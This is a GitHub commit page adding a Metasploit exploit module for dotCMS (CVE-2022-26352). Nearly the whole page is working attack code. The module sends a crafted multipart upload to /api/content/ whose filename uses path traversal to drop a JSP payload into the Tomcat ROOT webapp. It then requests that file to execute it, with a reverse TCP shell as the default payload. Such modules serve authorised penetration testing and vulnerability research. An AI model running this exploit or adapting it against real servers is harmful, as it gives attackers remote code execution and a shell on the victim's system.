Skip to content

Commit 4f4287e

Browse files
committed
Module working on linux
1 parent 2762b92 commit 4f4287e

File tree

1 file changed

+166
-0
lines changed

1 file changed

+166
-0
lines changed
Lines changed: 166 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,166 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
8+
Rank = ExcellentRanking
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Exploit::FileDropper
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => ' Multipart File Directory Traversal can lead to Remote Code Execution',
18+
'Description' => %q{
19+
When files are uploaded into dotCMS via the content API, but before they become content, dotCMS writes the
20+
file down in a temp directory. In the case of this vulnerability, dotCMS does not sanitize the filename
21+
passed in via the multipart request header and thus does not sanitize the temp file's name. This allows a
22+
specially crafted request to POST files to dotCMS via the ContentResource (POST /api/content) that get
23+
written outside of the dotCMS temp directory. In the case of this exploit, an attacker can upload a special
24+
.jsp file to the webapp/ROOT directory of dotCMS which can allow for remote code execution.
25+
},
26+
'Author' => [
27+
'Shubham Shah', # Discovery and analysis
28+
'Hussein Daher', # Discovery and analysis
29+
'jheysel-r7' # Metasploit module
30+
],
31+
'License' => MSF_LICENSE,
32+
'References' => [
33+
['CVE', '2022-26352'],
34+
['URL', 'https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/']
35+
],
36+
'Privileged' => false,
37+
'Platform' => %w[linux win],
38+
'Targets' => [
39+
[
40+
'Automatic',
41+
{
42+
'Arch' => ARCH_JAVA,
43+
'Platform' => 'linux'
44+
}
45+
],
46+
[
47+
'Java Windows',
48+
{
49+
'Arch' => ARCH_JAVA,
50+
'Platform' => 'win'
51+
}
52+
],
53+
[
54+
'Java Linux',
55+
{
56+
'Arch' => ARCH_JAVA,
57+
'Platform' => 'linux'
58+
}
59+
]
60+
],
61+
'DisclosureDate' => '2022-05-03',
62+
'DefaultTarget' => 0,
63+
'DefaultOptions' => {
64+
'SSL' => true,
65+
'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
66+
},
67+
'Notes' => {
68+
'Stability' => [CRASH_SAFE],
69+
'Reliability' => [REPEATABLE_SESSION],
70+
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
71+
}
72+
)
73+
)
74+
75+
register_options([
76+
Opt::RPORT(8443),
77+
OptString.new('TARGETURI', [true, 'Base path', '/'])
78+
])
79+
end
80+
81+
# def check
82+
# testurl = Rex::Text.rand_text_alpha(10)
83+
# testcontent = Rex::Text.rand_text_alpha(10)
84+
#
85+
# send_request_cgi({
86+
# 'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
87+
# 'method' => 'PUT',
88+
# 'data' => "<% out.println(\"#{testcontent}\");%>"
89+
# })
90+
#
91+
# res1 = send_request_cgi({
92+
# 'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp"),
93+
# 'method' => 'GET'
94+
# })
95+
#
96+
# if res1 && res1.body.include?(testcontent)
97+
# send_request_cgi(
98+
# 'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
99+
# 'method' => 'DELETE'
100+
# )
101+
# return Exploit::CheckCode::Vulnerable
102+
# end
103+
# Exploit::CheckCode::Safe
104+
# end
105+
106+
107+
108+
def write_jsp_payload
109+
jsp_path = "../../../../../../../../../srv/dotserver/tomcat-9.0.41/webapps/ROOT/#{jsp_filename}"
110+
111+
print_status('Writing JSP payload')
112+
vprint_status(jsp_path)
113+
114+
multipart_form = Rex::MIME::Message.new
115+
multipart_form.add_part(
116+
payload.encoded,
117+
'text/plain', # Content-Type
118+
nil, # Content-Transfer-Encoding
119+
"form-data; name=\"name\"; filename=\"#{jsp_path}\""
120+
)
121+
122+
res = send_request_cgi(
123+
'method' => 'POST',
124+
'uri' => normalize_uri(target_uri.path, '/api/content/'),
125+
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
126+
'data' => multipart_form.to_s
127+
)
128+
129+
130+
unless res&.code == 500
131+
fail_with(Failure::NotVulnerable, 'Failed to write JSP payload')
132+
end
133+
134+
register_file_for_cleanup(jsp_path)
135+
136+
print_good('Successfully wrote JSP payload')
137+
end
138+
139+
def execute_jsp_payload
140+
jsp_uri = normalize_uri(target_uri.path, jsp_filename)
141+
142+
print_status('Executing JSP payload')
143+
vprint_status(full_uri(jsp_uri))
144+
145+
res = send_request_cgi(
146+
'method' => 'GET',
147+
'uri' => jsp_uri,
148+
)
149+
150+
unless res&.code == 200
151+
fail_with(Failure::PayloadFailed, 'Failed to execute JSP payload')
152+
end
153+
154+
print_good('Successfully executed JSP payload')
155+
end
156+
157+
def exploit
158+
write_jsp_payload
159+
execute_jsp_payload
160+
end
161+
162+
def jsp_filename
163+
@jsp_filename ||= "#{rand_text_alphanumeric(8..16)}.jsp"
164+
end
165+
166+
end

0 commit comments

Comments
 (0)